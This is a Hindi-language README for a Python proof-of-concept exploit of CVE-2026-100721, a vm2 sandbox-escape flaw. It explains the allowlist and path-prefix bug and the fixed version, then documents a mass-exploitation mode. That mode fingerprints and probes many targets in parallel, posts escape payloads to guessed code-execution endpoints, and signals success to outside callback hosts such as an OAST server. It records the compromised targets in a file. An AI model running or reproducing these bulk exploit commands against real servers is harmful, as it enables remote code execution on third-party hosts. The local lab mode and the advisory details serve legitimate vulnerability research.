
CVE-2026-100721 के लिए Python PoC: vm2 <3.12.2 NodeVM external allowlist bypass का पता लगाता है और उसका शोषण करता है, जिससे local lab या mass HTTP targets के माध्यम से sandbox escape और host RCE प्राप्त होता है।
CVE-2026-100721 के लिए Python 3 PoC — vm2 (npm) 3.12.2 से पहले में NodeVM बाहरी-मॉड्यूल रिज़ॉल्वर में गलत प्राधिकरण, जिसके कारण सैंडबॉक्स एस्केप और होस्ट-साइड कोड निष्पादन होता है जब अविश्वसनीय JavaScript किसी गलत कॉन्फ़िगर किए गए एम्बेडर के अंदर चलता है।
PoC पेज: https://pocbit.org/pocs/cve-2026-100721
vm2 एक व्यापक रूप से उपयोग की जाने वाली Node.js लाइब्रेरी है जो एक ही Node प्रोसेस के भीतर अविश्वसनीय JavaScript को सैंडबॉक्स में चलाने के लिए है। एप्लिकेशन NodeVM का उपयोग प्रतिबंधों के साथ करते हैं जैसे:
require.builtin — गेस्ट कोड कौन से कोर मॉड्यूल लोड कर सकता है (fs, child_process, …)require.external — npm पैकेज नामों की एक allowlist (जैसे केवल left-pad, lodash)require.resolve — कस्टम रिज़ॉल्वर जो होस्ट-नियंत्रित प्लगइन या डिपेंडेंसी डायरेक्टरी की ओर इंगित करता हैcontext: 'host' — बाहरी पैकेज असली होस्ट require() के माध्यम से लोड किए जाते हैं (प्रदर्शन के लिए सामान्य)विशिष्ट एम्बेडर: यूज़र-स्क्रिप्ट प्लेटफ़ॉर्म, लो-कोड रनर, प्लगइन मार्केटप्लेस, ऑनलाइन IDE, ऑटोमेशन सैंडबॉक्स, और आंतरिक "सेफ eval" माइक्रोसर्विसेज़।
CVE-2026-100721 यह गलत प्राधिकरण (CWE-863) है कि vm2 कैसे तय करता है कि गेस्ट require("package-name") की अनुमति है या नहीं।
vm2 रिलीज़ में दो संबंधित दोष ठीक किए गए (एक ही प्रकार का बग — नाम / पथ सीमा भ्रम):
allowlist प्री-चेक left-pad जैसी प्रविष्टियों से एक पैटर्न बनाता है लेकिन पूर्ण पैकेज-नाम सीमा लागू नहीं करता। गेस्ट कोड evil-left-pad का अनुरोध कर सकता है क्योंकि स्ट्रिंग में left-pad शामिल है। यदि वह टकराव वाला पैकेज उस पथ पर मौजूद है जहाँ कस्टम रिज़ॉल्वर पहुँच सकता है, तो vm2 उसे होस्ट कॉन्टेक्स्ट में लोड करता है। टॉप-लेवल मॉड्यूल कोड सैंडबॉक्स रैपिंग से पहले चलता है → child_process, फ़ाइल पढ़ना, सीक्रेट्स, आदि।
lib/resolver-compat.js, 3.12.2 में ठीक किया गया)जब context: 'host' के साथ कस्टम रिज़ॉल्वर उपयोग किया जाता है, तो vm2 अनुमत डायरेक्टरीज़ को प्रीफ़िक्स रेगुलर एक्सप्रेशन का उपयोग करके रिकॉर्ड करता है, बिना सख्त पथ विभाजक / अंत सीमा के। गेस्ट बाद में require() के माध्यम से एक नॉन-allowlisted सिबलिंग के लिए एब्सोल्यूट पथ का अनुरोध कर सकता है (जैसे .../node_modules/foo2/index.js जब केवल foo allowlisted था)। सिबलिंग isPathAllowedForModule पास कर लेता है और होस्ट प्रोसेस में निष्पादित होता है।
प्रभावित: vm2 < 3.12.2 (CVE-2026-100721)। संबंधित नाम-टकराव फिक्स भी 3.11.7 में आए।
ठीक किया गया: vm2 ≥ 3.12.2 में अपग्रेड करें (और अपडेटेड रहें)।
| मेट्रिक | मान |
|---|---|
| CVSS 3.1 | 9.0 Critical — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Critical (Rapid7 / VulnCheck) |
| Auth | एक्सप्लॉइट चेन आमतौर पर सैंडबॉक्स के अंदर लो-प्रिविलेज कोड निष्पादन के बाद शुरू होती है (एडवाइज़री में PR:L) |
| क्रेडिट | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al. |
रिमोट "एक HTTP अनुरोध RCE" सार्वभौमिक नहीं है। व्यावहारिक चेन के लिए आवश्यक है:
require.external allowlist + अक्सर एक कस्टम require.resolve।context: 'host' (या समकक्ष होस्ट लोडिंग)।जब ये मेल खाते हैं, तो प्रभाव पूर्ण होस्ट Node समझौता है — केवल गेस्ट सैंडबॉक्स दुरुपयोग नहीं।
| मोड | व्यवहार |
|---|---|
--lab | प्रामाणिक स्थानीय एक्सप्लॉइट: lab/ vm2 3.11.5 इंस्टॉल करता है, evil-left-pad बनाता है, POCBIT-100721-HOST_EXEC प्रदर्शित करता है (विक्रेता एडवाइज़री को दर्शाता है) |
check | रिमोट vm2 फ़िंगरप्रिंट (package.json, लॉकफ़ाइल, JS बंडल), संस्करण < 3.12.2, वैकल्पिक --probe-exec सामान्य सैंडबॉक्स API पथों के विरुद्ध |
exploit | मास-सक्षम POST allowlist-बायपास प्रोब JS (evil-left-pad, टकराव वाले नाम) कॉन्फ़िगर करने योग्य --exec-paths पर; प्रतिक्रिया में मार्कर या सैंडबॉक्स API सरफेस + --callback-url पर exploited चिह्नित करता है |
| मास बल्क | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
PoCbit JSONL फ़ील्ड: हर पंक्ति पर pocbit, pocbit_catalog, pocbit_page।
CLI: हरा/मैजेंटा PoCbit बैनर, [EXPLOIT] / [SENT] / [FAIL] / [HIT] रंगाई (--no-color से अक्षम करें)।
महत्वपूर्ण: रिमोट एक्सप्लॉइट मोड आपके द्वारा कॉन्फ़िगर किए गए HTTP सैंडबॉक्स रनर को लक्षित करता है। शुद्ध लाइब्रेरी सत्यापन के लिए, python poc.py --lab का उपयोग करें (Node.js + npm आवश्यक)।
pip install -r requirements.txt
| घटक | उद्देश्य |
|---|---|
| Python 3.9+ | स्कैनर / मास ड्राइवर |
| Node.js + npm | केवल --lab (CVE को समझने के लिए अनुशंसित) |
cd CVE-2026-100721
python poc.py --lab
कमजोर vm2 पर अपेक्षित:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
कस्टम गेस्ट स्क्रिप्ट:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
आउटपुट:
cve_2026_100721_exploit.jsonl — प्रति-लक्ष्य JSONexploited.txt — वे लक्ष्य जहाँ एस्केप मार्कर, कॉलबैक सरफेस, या सैंडबॉक्स API हिट हुआड्राइवर सामान्य पैटर्न की जाँच करता है (--exec-paths से ओवरराइड करें):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
JSON बॉडी फ़ील्ड आज़माए गए: code, script, source, javascript, js, payload, … (--code-field से ओवरराइड करें)।
अंतर्निहित एक्सप्लॉइट JS टकराव वाले पैकेज नामों जैसे evil-left-pad (allowlist बायपास PoC) को लूप करता है। एक कमजोर एम्बेडर पर जो पहले से टकराव वाले पैकेज को होस्ट करता है:
require("evil-left-pad"); // host top-level code runs → sandbox escape
स्थानीय lab/poc.js पूर्ण विश्वसनीय-एडवाइज़री परिदृश्य को external: ['left-pad'], builtin: [], और कस्टम resolve के साथ लागू करता है।